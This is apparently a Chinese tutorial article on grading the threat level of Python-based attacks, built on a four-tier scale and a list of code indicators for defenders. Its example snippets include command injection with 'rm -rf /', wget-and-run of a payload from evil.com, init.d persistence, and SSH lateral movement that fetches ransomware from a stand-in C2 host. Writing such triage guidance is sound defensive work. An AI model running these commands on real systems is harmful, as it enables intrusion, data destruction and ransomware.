Python案例怎么看这波进攻的威胁程度？

wen python案例 2026-07-29 111

本文目录导读：

等级划分（借鉴CVSS与ATT&CK框架）
如何通过Python案例/日志分析威胁程度？
5个快速量化威胁程度的指标（看代码时问自己）
总结建议

这是一个非常专业且带有“黑客/攻防演练”风格的问题，要评估“一波进攻”在Python上下文中的威胁程度，不能只看代码本身，需要结合攻击向量、攻击深度的行为模式以及系统受影响的程度来分析。

以下是一套从 Python代码/日志分析 角度，评估进攻威胁程度的 分级模型 和 具体指标：

等级划分（借鉴CVSS与ATT&CK框架）

威胁等级	颜色代码	描述
L1 低危	绿色	信息搜集、端口扫描、脚本小子尝试
L2 中危	黄色	尝试利用已知漏洞、SQL注入/Shell注入未遂
L3 高危	橙色	成功执行远程代码（RCE）、提权成功、内网横向移动
L4 致命	红色	数据窃取、勒索软件、后门持久化（守护进程/Loader）

如何通过Python案例/日志分析威胁程度？

下面我会用几个典型的Python攻击案例,并教你如何判断其威胁等级。

案例1：低危 —— 侦察与扫描

代码表现： Python脚本（如requests、socket）批量发送HTTP GET请求，探测特定URL路径。

import requests
# 扫描常见的Web路径
for path in ['/admin', '/wp-admin', '/phpmyadmin']:
    try:
        r = requests.get(f'http://target.com{path}', timeout=2)
        if r.status_code == 200:
            print(f'Found: {path}')
    except:
        pass

威胁判断依据：

行为： 没有写入、修改、删除操作。
数据影响： 无，仅读取服务器响应的状态码。
系统影响： 可能造成少量CPU/网络负载，但不会破坏。
威胁极低（L1），这是攻击的前奏，需要关注后续行为。

案例2：中危 —— 漏洞利用尝试（未遂/非破坏性）

代码表现： 尝试通过字符串拼接构造SQL注入或命令注入，但服务器防御成功（返回500或错误信息）。

import subprocess
# 尝试在合法的命令后附加恶意命令
user_input = "127.0.0.1; rm -rf /"
cmd = f"ping -c 1 {user_input}"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)

威胁判断依据：

行为： 包含危险函数（shell=True、eval、exec）、未授权数据访问。
数据影响： 可能尝试读取未授权数据，但未成功泄露。
系统影响： 服务器可能产生错误日志，但系统未受损。
威胁中等（L2），证明攻击者具备一定技术能力，且已开始尝试攻击。

案例3：高危 —— 成功远程代码执行（RCE）或文件写入

代码表现： 攻击者成功在服务器上执行了Python代码，并写入了恶意文件或执行了系统命令。

# 攻击者通过漏洞成功执行了以下代码
import os
os.system('wget http://evil.com/shell.py -O /tmp/shell.py')
os.system('python /tmp/shell.py &')

威胁判断依据：

行为： 成功调用os.system、subprocess.Popen，且命令具有破坏性（下载、执行、修改权限）。
数据影响： 攻击者可能正在窃取或加密数据库文件。
系统影响： 主机已失陷，攻击者获得了该主机的控制权。
威胁极高（L3），需要立即隔离受影响主机，断开网络连接。

案例4：致命 —— 持久化后门与横向移动

代码表现： 后门代码包含自我复制、注册为系统服务或利用SSH密钥进行横向移动。

# 持久化代码
import shutil, os
# 复制自身到启动目录
shutil.copy(__file__, '/etc/init.d/evil_service')
os.system('update-rc.d evil_service defaults')  # 添加自启动
# 横向移动代码
import paramiko
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('192.168.1.2', username='root', key_filename='stolen_key')
stdin, stdout, stderr = ssh.exec_command('wget http://c2.com/ransom.py')

威胁判断依据：

行为： 包含C2（命令与控制）通信、密钥窃取、服务注册、内网扫描与爆破。
数据影响： 认证凭证（私钥、密码哈希）已泄露。
系统影响： 攻击者已从单一主机突破到整个内网段。
致命级别（L4），假设全网已被渗透，需要启动红色应急响应，考虑隔离整个内网。

5个快速量化威胁程度的指标（看代码时问自己）

当你看到一个Python攻击案例或日志时,按顺序检查以下五点：

是否执行系统命令？
- os.system, subprocess.Popen, exec, eval -> 至少L3，如果命令是下载恶意文件，直接升到L4。
是否修改或写入文件？
- open("xxx.py", "w"), shutil.copy, 写入/etc/cron.d -> L3+，如果写入的是动态链接库（.so/.dll）或启动项，致命。
是否尝试横向移动？
- 代码中出现paramiko、socket.connect到多个IP、读取.ssh/authorized_keys或/etc/shadow -> 直接L4。
是否加密文件？
- 代码中出现cryptography.fernet、 aes 、遍历所有文件并重命名 -> 直接L4 (勒索)。
是否绕过杀软/日志清除？
- ctypes加载内存载荷、sys.modules.pop、删除/var/log -> L4，说明攻击者非常专业。

总结建议

如果你是在做CTF（Capture The Flag）或渗透测试： 看目标系统是否允许你执行os.system或读取敏感文件，如果允许，就算是高危。
如果你是防守方（蓝队）： 只要检测到Python脚本尝试调用os.system、subprocess（参数不带shell=True也行），并且是在生产服务器上，立即视为高危事件，结合告警来源（是来自外部WAF还是主机EDR）来判断是误报还是真实攻击。
对于AI生成的代码： 检查代码中是否有eval(input())、pickle.loads(unknown_data)、yaml.load(allow_unicode=True)等，这些都是高危信号，可能被用来植入任意代码。